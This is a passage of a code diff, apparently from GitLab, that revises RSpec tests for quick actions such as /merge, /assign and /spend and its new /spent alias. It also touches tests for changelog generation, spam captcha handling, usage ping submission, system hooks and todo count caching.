+ it_behaves_like 'failed command', 'Could not apply merge command.' do
let(:content) { "/merge" }
let(:issuable) { merge_request }
end
@@ -755,21 +755,21 @@ RSpec.describe QuickActions::InterpretService do
end
context 'issue can not be merged' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply merge command.' do
let(:content) { "/merge" }
let(:issuable) { issue }
end
end
context 'non persisted merge request cant be merged' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply merge command.' do
let(:content) { "/merge" }
let(:issuable) { build(:merge_request) }
end
end
context 'not persisted merge request can not be merged' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply merge command.' do
let(:content) { "/merge" }
let(:issuable) { build(:merge_request, source_project: project) }
end
@@ -786,7 +786,7 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { merge_request }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/title' }
let(:issuable) { issue }
end
@@ -869,12 +869,12 @@ RSpec.describe QuickActions::InterpretService do
end
end
- it_behaves_like 'empty command', "Failed to assign a user because no user was found." do
+ it_behaves_like 'failed command', "Failed to assign a user because no user was found." do
let(:content) { '/assign @abcd1234' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command', "Failed to assign a user because no user was found." do
+ it_behaves_like 'failed command', "Failed to assign a user because no user was found." do
let(:content) { '/assign' }
let(:issuable) { issue }
end
@@ -890,7 +890,7 @@ RSpec.describe QuickActions::InterpretService do
context 'with an issue instead of a merge request' do
let(:issuable) { issue }
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply assign_reviewer command.'
end
# CE does not have multiple reviewers
@@ -935,7 +935,7 @@ RSpec.describe QuickActions::InterpretService do
context 'with an incorrect user' do
let(:content) { '/assign_reviewer @abcd1234' }
- it_behaves_like 'empty command', "Failed to assign a reviewer because no user was found."
+ it_behaves_like 'failed command', "Failed to assign a reviewer because no user was found."
end
context 'with the "reviewer" alias' do
@@ -953,7 +953,7 @@ RSpec.describe QuickActions::InterpretService do
context 'with no user' do
let(:content) { '/assign_reviewer' }
- it_behaves_like 'empty command', "Failed to assign a reviewer because no user was found."
+ it_behaves_like 'failed command', "Failed to assign a reviewer because no user was found."
end
context 'includes only the user reference with extra text' do
@@ -977,7 +977,7 @@ RSpec.describe QuickActions::InterpretService do
context 'with an issue instead of a merge request' do
let(:issuable) { issue }
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply unassign_reviewer command.'
end
context 'with anything after the command' do
@@ -1035,14 +1035,20 @@ RSpec.describe QuickActions::InterpretService do
end
end
- it_behaves_like 'milestone command' do
- let(:content) { "/milestone %#{milestone.title}" }
- let(:issuable) { issue }
- end
+ context 'project milestones' do
+ before do
+ milestone
+ end
- it_behaves_like 'milestone command' do
- let(:content) { "/milestone %#{milestone.title}" }
- let(:issuable) { merge_request }
+ it_behaves_like 'milestone command' do
+ let(:content) { "/milestone %#{milestone.title}" }
+ let(:issuable) { issue }
+ end
+
+ it_behaves_like 'milestone command' do
+ let(:content) { "/milestone %#{milestone.title}" }
+ let(:issuable) { merge_request }
+ end
end
context 'only group milestones available' do
@@ -1181,7 +1187,7 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { merge_request }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply due command.' do
let(:content) { '/due 2016-08-28' }
let(:issuable) { merge_request }
end
@@ -1211,7 +1217,7 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { merge_request }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply remove_due_date command.' do
let(:content) { '/remove_due_date' }
let(:issuable) { merge_request }
end
@@ -1221,12 +1227,12 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/estimate' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/estimate abc' }
let(:issuable) { issue }
end
@@ -1236,8 +1242,18 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { issue }
end
+ it_behaves_like 'spend command' do
+ let(:content) { '/spent 1h' }
+ let(:issuable) { issue }
+ end
+
it_behaves_like 'spend command with negative time' do
- let(:content) { '/spend -30m' }
+ let(:content) { '/spend -120m' }
+ let(:issuable) { issue }
+ end
+
+ it_behaves_like 'spend command with negative time' do
+ let(:content) { '/spent -120m' }
let(:issuable) { issue }
end
@@ -1247,26 +1263,52 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { issue }
end
+ it_behaves_like 'spend command with valid date' do
+ let(:date) { '2016-02-02' }
+ let(:content) { "/spent 30m #{date}" }
+ let(:issuable) { issue }
+ end
+
it_behaves_like 'spend command with invalid date' do
let(:content) { '/spend 30m 17-99-99' }
let(:issuable) { issue }
end
+ it_behaves_like 'spend command with invalid date' do
+ let(:content) { '/spent 30m 17-99-99' }
+ let(:issuable) { issue }
+ end
+
it_behaves_like 'spend command with future date' do
let(:content) { '/spend 30m 6017-10-10' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'spend command with future date' do
+ let(:content) { '/spent 30m 6017-10-10' }
+ let(:issuable) { issue }
+ end
+
+ it_behaves_like 'failed command' do
let(:content) { '/spend' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
+ let(:content) { '/spent' }
+ let(:issuable) { issue }
+ end
+
+ it_behaves_like 'failed command' do
let(:content) { '/spend abc' }
let(:issuable) { issue }
end
+ it_behaves_like 'failed command' do
+ let(:content) { '/spent abc' }
+ let(:issuable) { issue }
+ end
+
it_behaves_like 'remove_estimate command' do
let(:content) { '/remove_estimate' }
let(:issuable) { issue }
@@ -1323,7 +1365,7 @@ RSpec.describe QuickActions::InterpretService do
end
context 'if issuable is a Commit' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply todo command.' do
let(:issuable) { commit }
end
end
@@ -1379,7 +1421,7 @@ RSpec.describe QuickActions::InterpretService do
end
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/copy_metadata' }
let(:issuable) { issue }
end
@@ -1419,19 +1461,19 @@ RSpec.describe QuickActions::InterpretService do
end
context 'cross project references' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:other_project) { create(:project, :public) }
let(:source_issuable) { create(:labeled_issue, project: other_project, labels: [todo_label, inreview_label]) }
let(:content) { "/copy_metadata #{source_issuable.to_reference(project)}" }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { "/copy_metadata imaginary##{non_existing_record_iid}" }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:other_project) { create(:project, :private) }
let(:source_issuable) { create(:issue, project: other_project) }
@@ -1448,7 +1490,7 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/duplicate' }
let(:issuable) { issue }
end
@@ -1461,12 +1503,12 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { issue }
end
- it_behaves_like 'empty command', _('Failed to mark this issue as a duplicate because referenced issue was not found.') do
+ it_behaves_like 'failed command', _('Failed to mark this issue as a duplicate because referenced issue was not found.') do
let(:content) { "/duplicate imaginary##{non_existing_record_iid}" }
let(:issuable) { issue }
end
- it_behaves_like 'empty command', _('Failed to mark this issue as a duplicate because referenced issue was not found.') do
+ it_behaves_like 'failed command', _('Failed to mark this issue as a duplicate because referenced issue was not found.') do
let(:other_project) { create(:project, :private) }
let(:issue_duplicate) { create(:issue, project: other_project) }
@@ -1481,62 +1523,62 @@ RSpec.describe QuickActions::InterpretService do
let(:issue) { create(:issue, project: project, author: visitor) }
let(:service) { described_class.new(project, visitor) }
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply assign command.' do
let(:content) { "/assign @#{developer.username}" }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply unassign command.' do
let(:content) { '/unassign' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply milestone command.' do
let(:content) { "/milestone %#{milestone.title}" }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply remove_milestone command.' do
let(:content) { '/remove_milestone' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply label command.' do
let(:content) { %(/label ~"#{inprogress.title}" ~#{bug.title} ~unknown) }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply unlabel command.' do
let(:content) { %(/unlabel ~"#{inprogress.title}") }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply relabel command.' do
let(:content) { %(/relabel ~"#{inprogress.title}") }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply due command.' do
let(:content) { '/due tomorrow' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply remove_due_date command.' do
let(:content) { '/remove_due_date' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply confidential command.' do
let(:content) { '/confidential' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply lock command.' do
let(:content) { '/lock' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply unlock command.' do
let(:content) { '/unlock' }
let(:issuable) { issue }
end
@@ -1554,19 +1596,19 @@ RSpec.describe QuickActions::InterpretService do
end
context 'ignores command with no argument' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/award' }
let(:issuable) { issue }
end
end
context 'ignores non-existing / invalid emojis' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/award noop' }
let(:issuable) { issue }
end
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/award :lorem_ipsum:' }
let(:issuable) { issue }
end
@@ -1576,7 +1618,7 @@ RSpec.describe QuickActions::InterpretService do
let(:content) { '/award :100:' }
let(:issuable) { commit }
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply award command.'
end
end
@@ -1622,14 +1664,14 @@ RSpec.describe QuickActions::InterpretService do
end
context 'ignores command with no argument' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply target_branch command.' do
let(:content) { '/target_branch' }
let(:issuable) { another_merge_request }
end
end
context 'ignores non-existing target branch' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command', 'Could not apply target_branch command.' do
let(:content) { '/target_branch totally_non_existing_branch' }
let(:issuable) { another_merge_request }
end
@@ -1697,34 +1739,34 @@ RSpec.describe QuickActions::InterpretService do
create(:board, project: project)
end
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply board_move command.'
end
context 'if the given label does not exist' do
let(:issuable) { issue }
let(:content) { '/board_move ~"Fake Label"' }
- it_behaves_like 'empty command', 'Failed to move this issue because label was not found.'
+ it_behaves_like 'failed command', 'Failed to move this issue because label was not found.'
end
context 'if multiple labels are given' do
let(:issuable) { issue }
let(:content) { %{/board_move ~"#{inreview.title}" ~"#{todo.title}"} }
- it_behaves_like 'empty command', 'Failed to move this issue because only a single label can be provided.'
+ it_behaves_like 'failed command', 'Failed to move this issue because only a single label can be provided.'
end
context 'if the given label is not a list on the board' do
let(:issuable) { issue }
let(:content) { %{/board_move ~"#{bug.title}"} }
- it_behaves_like 'empty command', 'Failed to move this issue because label was not found.'
+ it_behaves_like 'failed command', 'Failed to move this issue because label was not found.'
end
context 'if issuable is not an Issue' do
let(:issuable) { merge_request }
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply board_move command.'
end
end
@@ -1732,7 +1774,7 @@ RSpec.describe QuickActions::InterpretService do
let(:issuable) { commit }
context 'ignores command with no argument' do
- it_behaves_like 'empty command' do
+ it_behaves_like 'failed command' do
let(:content) { '/tag' }
end
end
@@ -1797,7 +1839,7 @@ RSpec.describe QuickActions::InterpretService do
context 'if issuable is not an Issue' do
let(:issuable) { merge_request }
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply create_merge_request command.'
end
context "when logged user cannot create_merge_requests in the project" do
@@ -1807,14 +1849,14 @@ RSpec.describe QuickActions::InterpretService do
project.add_developer(developer)
end
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply create_merge_request command.'
end
context 'when logged user cannot push code to the project' do
let(:project) { create(:project, :private) }
let(:service) { described_class.new(project, create(:user)) }
- it_behaves_like 'empty command'
+ it_behaves_like 'failed command', 'Could not apply create_merge_request command.'
end
it 'populates create_merge_request with branch_name and issue iid' do
@@ -1953,7 +1995,7 @@ RSpec.describe QuickActions::InterpretService do
context 'invite_email command' do
let_it_be(:issuable) { issue }
- it_behaves_like 'empty command', "No email participants were added. Either none were provided, or they already exist." do
+ it_behaves_like 'failed command', "No email participants were added. Either none were provided, or they already exist." do
let(:content) { '/invite_email' }
end
@@ -1964,7 +2006,7 @@ RSpec.describe QuickActions::InterpretService do
issuable.issue_email_participants.create!(email: "a@gitlab.com")
end
- it_behaves_like 'empty command', "No email participants were added. Either none were provided, or they already exist."
+ it_behaves_like 'failed command', "No email participants were added. Either none were provided, or they already exist."
end
context 'with new email participants' do
@@ -2241,10 +2283,14 @@ RSpec.describe QuickActions::InterpretService do
end
describe 'spend command' do
- let(:content) { '/spend -120m' }
+ it 'includes the formatted duration and proper verb when using /spend' do
+ _, explanations = service.explain('/spend -120m', issue)
- it 'includes the formatted duration and proper verb' do
- _, explanations = service.explain(content, issue)
+ expect(explanations).to eq(['Subtracts 2h spent time.'])
+ end
+
+ it 'includes the formatted duration and proper verb when using /spent' do
+ _, explanations = service.explain('/spent -120m', issue)
expect(explanations).to eq(['Subtracts 2h spent time.'])
end
diff --git a/spec/services/repositories/changelog_service_spec.rb b/spec/services/repositories/changelog_service_spec.rb
index dab38445ccf..02d60f076ca 100644
--- a/spec/services/repositories/changelog_service_spec.rb
+++ b/spec/services/repositories/changelog_service_spec.rb
@@ -130,13 +130,14 @@ RSpec.describe Repositories::ChangelogService do
describe '#start_of_commit_range' do
let(:project) { build_stubbed(:project) }
let(:user) { build_stubbed(:user) }
+ let(:config) { Gitlab::Changelog::Config.new(project) }
context 'when the "from" argument is specified' do
it 'returns the value of the argument' do
service = described_class
.new(project, user, version: '1.0.0', from: 'foo', to: 'bar')
- expect(service.start_of_commit_range).to eq('foo')
+ expect(service.start_of_commit_range(config)).to eq('foo')
end
end
@@ -145,12 +146,12 @@ RSpec.describe Repositories::ChangelogService do
service = described_class
.new(project, user, version: '1.0.0', to: 'bar')
- finder_spy = instance_spy(Repositories::PreviousTagFinder)
+ finder_spy = instance_spy(Repositories::ChangelogTagFinder)
tag = double(:tag, target_commit: double(:commit, id: '123'))
- allow(Repositories::PreviousTagFinder)
+ allow(Repositories::ChangelogTagFinder)
.to receive(:new)
- .with(project)
+ .with(project, regex: an_instance_of(String))
.and_return(finder_spy)
allow(finder_spy)
@@ -158,18 +159,18 @@ RSpec.describe Repositories::ChangelogService do
.with('1.0.0')
.and_return(tag)
- expect(service.start_of_commit_range).to eq('123')
+ expect(service.start_of_commit_range(config)).to eq('123')
end
it 'raises an error when no tag is found' do
service = described_class
.new(project, user, version: '1.0.0', to: 'bar')
- finder_spy = instance_spy(Repositories::PreviousTagFinder)
+ finder_spy = instance_spy(Repositories::ChangelogTagFinder)
- allow(Repositories::PreviousTagFinder)
+ allow(Repositories::ChangelogTagFinder)
.to receive(:new)
- .with(project)
+ .with(project, regex: an_instance_of(String))
.and_return(finder_spy)
allow(finder_spy)
@@ -177,7 +178,7 @@ RSpec.describe Repositories::ChangelogService do
.with('1.0.0')
.and_return(nil)
- expect { service.start_of_commit_range }
+ expect { service.start_of_commit_range(config) }
.to raise_error(Gitlab::Changelog::Error)
end
end
diff --git a/spec/services/security/ci_configuration/sast_parser_service_spec.rb b/spec/services/security/ci_configuration/sast_parser_service_spec.rb
index 21490f993c7..4ebaddcfa4e 100644
--- a/spec/services/security/ci_configuration/sast_parser_service_spec.rb
+++ b/spec/services/security/ci_configuration/sast_parser_service_spec.rb
@@ -12,8 +12,8 @@ RSpec.describe Security::CiConfiguration::SastParserService do
let(:sast_analyzer_image_tag) { configuration['global'][2] }
let(:sast_pipeline_stage) { configuration['pipeline'][0] }
let(:sast_search_max_depth) { configuration['pipeline'][1] }
- let(:brakeman) { configuration['analyzers'][0] }
- let(:bandit) { configuration['analyzers'][1] }
+ let(:bandit) { configuration['analyzers'][0] }
+ let(:brakeman) { configuration['analyzers'][1] }
let(:sast_brakeman_level) { brakeman['variables'][0] }
it 'parses the configuration for SAST' do
diff --git a/spec/services/spam/spam_action_service_spec.rb b/spec/services/spam/spam_action_service_spec.rb
index 371923f1518..e8ac826df1c 100644
--- a/spec/services/spam/spam_action_service_spec.rb
+++ b/spec/services/spam/spam_action_service_spec.rb
@@ -5,6 +5,8 @@ require 'spec_helper'
RSpec.describe Spam::SpamActionService do
include_context 'includes Spam constants'
+ let(:request) { double(:request, env: env, headers: {}) }
+ let(:issue) { create(:issue, project: project, author: user) }
let(:fake_ip) { '1.2.3.4' }
let(:fake_user_agent) { 'fake-user-agent' }
let(:fake_referrer) { 'fake-http-referrer' }
@@ -14,11 +16,8 @@ RSpec.describe Spam::SpamActionService do
'HTTP_REFERRER' => fake_referrer }
end
- let(:request) { double(:request, env: env) }
-
let_it_be(:project) { create(:project, :public) }
let_it_be(:user) { create(:user) }
- let(:issue) { create(:issue, project: project, author: user) }
before do
issue.spam = false
@@ -48,7 +47,7 @@ RSpec.describe Spam::SpamActionService do
shared_examples 'creates a spam log' do
it do
- expect { subject }.to change { SpamLog.count }.by(1)
+ expect { subject }.to change(SpamLog, :count).by(1)
new_spam_log = SpamLog.last
expect(new_spam_log.user_id).to eq(user.id)
@@ -62,7 +61,7 @@ RSpec.describe Spam::SpamActionService do
end
describe '#execute' do
- let(:request) { double(:request, env: env) }
+ let(:request) { double(:request, env: env, headers: nil) }
let(:fake_captcha_verification_service) { double(:captcha_verification_service) }
let(:fake_verdict_service) { double(:spam_verdict_service) }
let(:allowlisted) { false }
@@ -70,7 +69,7 @@ RSpec.describe Spam::SpamActionService do
let(:captcha_response) { 'abc123' }
let(:spam_log_id) { existing_spam_log.id }
let(:spam_params) do
- Spam::SpamActionService.filter_spam_params!(
+ ::Spam::SpamParams.new(
api: api,
captcha_response: captcha_response,
spam_log_id: spam_log_id
@@ -111,10 +110,30 @@ RSpec.describe Spam::SpamActionService do
allow(Spam::SpamVerdictService).to receive(:new).with(verdict_service_args).and_return(fake_verdict_service)
end
+ context 'when the captcha params are passed in the headers' do
+ let(:request) { double(:request, env: env, headers: headers) }
+ let(:spam_params) { Spam::SpamActionService.filter_spam_params!({ api: api }, request) }
+ let(:headers) do
+ {
+ 'X-GitLab-Captcha-Response' => captcha_response,
+ 'X-GitLab-Spam-Log-Id' => spam_log_id
+ }
+ end
+
+ it 'extracts the headers correctly' do
+ expect(fake_captcha_verification_service)
+ .to receive(:execute).with(captcha_response: captcha_response, request: request).and_return(true)
+ expect(SpamLog)
+ .to receive(:verify_recaptcha!).with(user_id: user.id, id: spam_log_id)
+
+ subject
+ end
+ end
+
context 'when captcha response verification returns true' do
before do
- expect(fake_captcha_verification_service)
- .to receive(:execute).with(captcha_response: captcha_response, request: request) { true }
+ allow(fake_captcha_verification_service)
+ .to receive(:execute).with(captcha_response: captcha_response, request: request).and_return(true)
end
it "doesn't check with the SpamVerdictService" do
@@ -136,8 +155,8 @@ RSpec.describe Spam::SpamActionService do
context 'when captcha response verification returns false' do
before do
- expect(fake_captcha_verification_service)
- .to receive(:execute).with(captcha_response: captcha_response, request: request) { false }
+ allow(fake_captcha_verification_service)
+ .to receive(:execute).with(captcha_response: captcha_response, request: request).and_return(false)
end
context 'when spammable attributes have not changed' do
@@ -146,21 +165,20 @@ RSpec.describe Spam::SpamActionService do
end
it 'does not create a spam log' do
- expect { subject }
- .not_to change { SpamLog.count }
+ expect { subject }.not_to change(SpamLog, :count)
end
end
context 'when spammable attributes have changed' do
let(:expected_service_check_response_message) do
- /check Issue spammable model for any errors or captcha requirement/
+ /Check Issue spammable model for any errors or CAPTCHA requirement/
end
before do
- issue.description = 'SPAM!'
+ issue.description = 'Lovely Spam! Wonderful Spam!'
end
- context 'if allowlisted' do
+ context 'when allowlisted' do
let(:allowlisted) { true }
it 'does not perform spam check' do
@@ -229,7 +247,7 @@ RSpec.describe Spam::SpamActionService do
response = subject
expect(response.message).to match(expected_service_check_response_message)
- expect(issue.needs_recaptcha?).to be_truthy
+ expect(issue).to be_needs_recaptcha
end
end
@@ -253,8 +271,7 @@ RSpec.describe Spam::SpamActionService do
end
it 'does not create a spam log' do
- expect { subject }
- .not_to change { SpamLog.count }
+ expect { subject }.not_to change(SpamLog, :count)
end
it 'clears spam flags' do
@@ -264,9 +281,9 @@ RSpec.describe Spam::SpamActionService do
end
end
- context 'spam verdict service options' do
+ context 'with spam verdict service options' do
before do
- allow(fake_verdict_service).to receive(:execute) { ALLOW }
+ allow(fake_verdict_service).to receive(:execute).and_return(ALLOW)
end
context 'when the request is nil' do
diff --git a/spec/services/submit_usage_ping_service_spec.rb b/spec/services/submit_usage_ping_service_spec.rb
index 24afa83ef2c..53cc33afcff 100644
--- a/spec/services/submit_usage_ping_service_spec.rb
+++ b/spec/services/submit_usage_ping_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe SubmitUsagePingService do
include StubRequests
include UsageDataHelpers
+ let(:usage_data_id) { 31643 }
let(:score_params) do
{
score: {
@@ -40,6 +41,8 @@ RSpec.describe SubmitUsagePingService do
leader_service_desk_issues: 15.8,
instance_service_desk_issues: 15.1,
+ usage_data_id: usage_data_id,
+
non_existing_column: 'value'
}
}
@@ -47,7 +50,6 @@ RSpec.describe SubmitUsagePingService do
let(:with_dev_ops_score_params) { { dev_ops_score: score_params[:score] } }
let(:with_conv_index_params) { { conv_index: score_params[:score] } }
- let(:without_dev_ops_score_params) { { dev_ops_score: {} } }
shared_examples 'does not run' do
it do
@@ -103,7 +105,7 @@ RSpec.describe SubmitUsagePingService do
end
it 'sends a POST request' do
- response = stub_response(body: without_dev_ops_score_params)
+ response = stub_response(body: with_dev_ops_score_params)
subject.execute
@@ -111,7 +113,7 @@ RSpec.describe SubmitUsagePingService do
end
it 'forces a refresh of usage data statistics before submitting' do
- stub_response(body: without_dev_ops_score_params)
+ stub_response(body: with_dev_ops_score_params)
expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_call_original
@@ -124,6 +126,33 @@ RSpec.describe SubmitUsagePingService do
end
it_behaves_like 'saves DevOps report data from the response'
+
+ it 'saves usage_data_id to version_usage_data_id_value' do
+ recorded_at = Time.current
+ usage_data = { uuid: 'uuid', recorded_at: recorded_at }
+
+ expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_return(usage_data)
+
+ subject.execute
+
+ raw_usage_data = RawUsageData.find_by(recorded_at: recorded_at)
+
+ expect(raw_usage_data.version_usage_data_id_value).to eq(31643)
+ end
+ end
+
+ context 'when version app usage_data_id is invalid' do
+ let(:usage_data_id) { -1000 }
+
+ before do
+ stub_response(body: with_conv_index_params)
+ end
+
+ it 'raises an exception' do
+ expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
+ expect(error.message).to include('Invalid usage_data_id in response: -1000')
+ end
+ end
end
context 'when DevOps report data is passed' do
diff --git a/spec/services/submodules/update_service_spec.rb b/spec/services/submodules/update_service_spec.rb
index e7f92d5ba28..1a53da7b9fe 100644
--- a/spec/services/submodules/update_service_spec.rb
+++ b/spec/services/submodules/update_service_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe Submodules::UpdateService do
let(:submodule) { '../six' }
it_behaves_like 'returns error result' do
- let(:error_message) { 'Invalid parameters' }
+ let(:error_message) { 'Invalid submodule path' }
end
end
end
diff --git a/spec/services/system_hooks_service_spec.rb b/spec/services/system_hooks_service_spec.rb
index 446325e5f71..d8435c72896 100644
--- a/spec/services/system_hooks_service_spec.rb
+++ b/spec/services/system_hooks_service_spec.rb
@@ -113,37 +113,9 @@ RSpec.describe SystemHooksService do
expect(data[:old_path]).to eq('old-path')
end
end
-
- context 'user_rename' do
- it 'contains old and new username' do
- allow(user).to receive(:username_before_last_save).and_return('old-username')
-
- data = event_data(user, :rename)
-
- expect(data).to include(:event_name, :name, :created_at, :updated_at, :email, :user_id, :username, :old_username)
- expect(data[:username]).to eq(user.username)
- expect(data[:old_username]).to eq(user.username_before_last_save)
- end
- end
-
- context 'user_failed_login' do
- it 'contains state of user' do
- user.ldap_block!
-
- data = event_data(user, :failed_login)
-
- expect(data).to include(:event_name, :name, :created_at, :updated_at, :email, :user_id, :username, :state)
- expect(data[:username]).to eq(user.username)
- expect(data[:state]).to eq('ldap_blocked')
- end
- end
end
context 'event names' do
- it { expect(event_name(user, :create)).to eq "user_create" }
- it { expect(event_name(user, :destroy)).to eq "user_destroy" }
- it { expect(event_name(user, :rename)).to eq 'user_rename' }
- it { expect(event_name(user, :failed_login)).to eq 'user_failed_login' }
it { expect(event_name(project, :create)).to eq "project_create" }
it { expect(event_name(project, :destroy)).to eq "project_destroy" }
it { expect(event_name(project, :rename)).to eq "project_rename" }
diff --git a/spec/services/system_notes/alert_management_service_spec.rb b/spec/services/system_notes/alert_management_service_spec.rb
index fc71799d8c5..1c36a4036cc 100644
--- a/spec/services/system_notes/alert_management_service_spec.rb
+++ b/spec/services/system_notes/alert_management_service_spec.rb
@@ -69,7 +69,7 @@ RSpec.describe ::SystemNotes::AlertManagementService do
end
it 'has the appropriate message' do
- expect(subject.note).to eq('logged a resolving alert from **Some Service**')
+ expect(subject.note).to eq('logged a recovery alert from **Some Service**')
end
end
end
diff --git a/spec/services/todo_service_spec.rb b/spec/services/todo_service_spec.rb
index 743dc080b06..59f936509df 100644
--- a/spec/services/todo_service_spec.rb
+++ b/spec/services/todo_service_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe TodoService do
+ include AfterNextHelpers
+
let_it_be(:project) { create(:project, :repository) }
let_it_be(:author) { create(:user) }
let_it_be(:assignee) { create(:user) }
@@ -343,19 +345,19 @@ RSpec.describe TodoService do
describe '#destroy_target' do
it 'refreshes the todos count cache for users with todos on the target' do
- create(:todo, target: issue, user: john_doe, author: john_doe, project: issue.project)
+ create(:todo, state: :pending, target: issue, user: john_doe, author: john_doe, project: issue.project)
- expect_any_instance_of(User).to receive(:update_todos_count_cache).and_call_original
+ expect_next(Users::UpdateTodoCountCacheService, [john_doe]).to receive(:execute)
- service.destroy_target(issue) { }
+ service.destroy_target(issue) { issue.destroy! }
end
it 'does not refresh the todos count cache for users with only done todos on the target' do
create(:todo, :done, target: issue, user: john_doe, author: john_doe, project: issue.project)
- expect_any_instance_of(User).not_to receive(:update_todos_count_cache)
+ expect(Users::UpdateTodoCountCacheService).not_to receive(:new)
- service.destroy_target(issue) { }
+ service.destroy_target(issue) { issue.destroy! }
end
it 'yields the target to the caller' do
@@ -1007,7 +1009,8 @@ RSpec.describe TodoService do
end
describe '#update_note' do
- let(:noteable) { create(:issue, project: project) }
+ let_it_be(:noteable) { create(:issue, project: project) }
+
let(:note) { create(:note, project: project, note: mentions, noteable: noteable) }
let(:addressed_note) { create(:note, project: project, note: "#{directly_addressed}", noteable: noteable) }
@@ -1044,12 +1047,34 @@ RSpec.describe TodoService do
should_not_create_todo(user: skipped, target: noteable, action: Todo::DIRECTLY_ADDRESSED)
end
- it 'does not create a todo if user was already mentioned and todo is pending' do
- stub_feature_flags(multiple_todos: false)
+ context 'users already have pending todos and the multiple_todos feature is off' do
+ before do
+ stub_feature_flags(multiple_todos: false)
+ end
+
+ let_it_be(:pending_todo_for_member) { create(:todo, :mentioned, user: member, project: project, target: noteable) }
+ let_it_be(:pending_todo_for_guest) { create(:todo, :mentioned, user: guest, project: project, target: noteable) }
+ let_it_be(:pending_todo_for_admin) { create(:todo, :mentioned, user: admin, project: project, target: noteable) }
+ let_it_be(:note_mentioning_1_user) do
+ create(:note, project: project, note: "FYI #{member.to_reference}", noteable: noteable)
+ end
- create(:todo, :mentioned, user: member, project: project, target: noteable, author: author)
+ let_it_be(:note_mentioning_3_users) do
+ create(:note, project: project, note: 'FYI: ' + [member, guest, admin].map(&:to_reference).join(' '), noteable: noteable)
+ end
+
+ it 'does not create a todo if user was already mentioned and todo is pending' do
+ expect { service.update_note(note_mentioning_1_user, author, skip_users) }.not_to change(member.todos, :count)
+ end
- expect { service.update_note(note, author, skip_users) }.not_to change(member.todos, :count)
+ it 'does not create N+1 queries for pending todos' do
+ # Excluding queries for user permissions because those do execute N+1 queries
+ allow_any_instance_of(User).to receive(:can?).and_return(true)
+
+ control_count = ActiveRecord::QueryRecorder.new { service.update_note(note_mentioning_1_user, author, skip_users) }.count
+
+ expect { service.update_note(note_mentioning_3_users, author, skip_users) }.not_to exceed_query_limit(control_count)
+ end
end
it 'does not create a todo if user was already mentioned and todo is done' do
@@ -1076,13 +1101,9 @@ RSpec.describe TodoService do
it 'updates cached counts when a todo is created' do
issue = create(:issue, project: project, assignees: [john_doe], author: author)
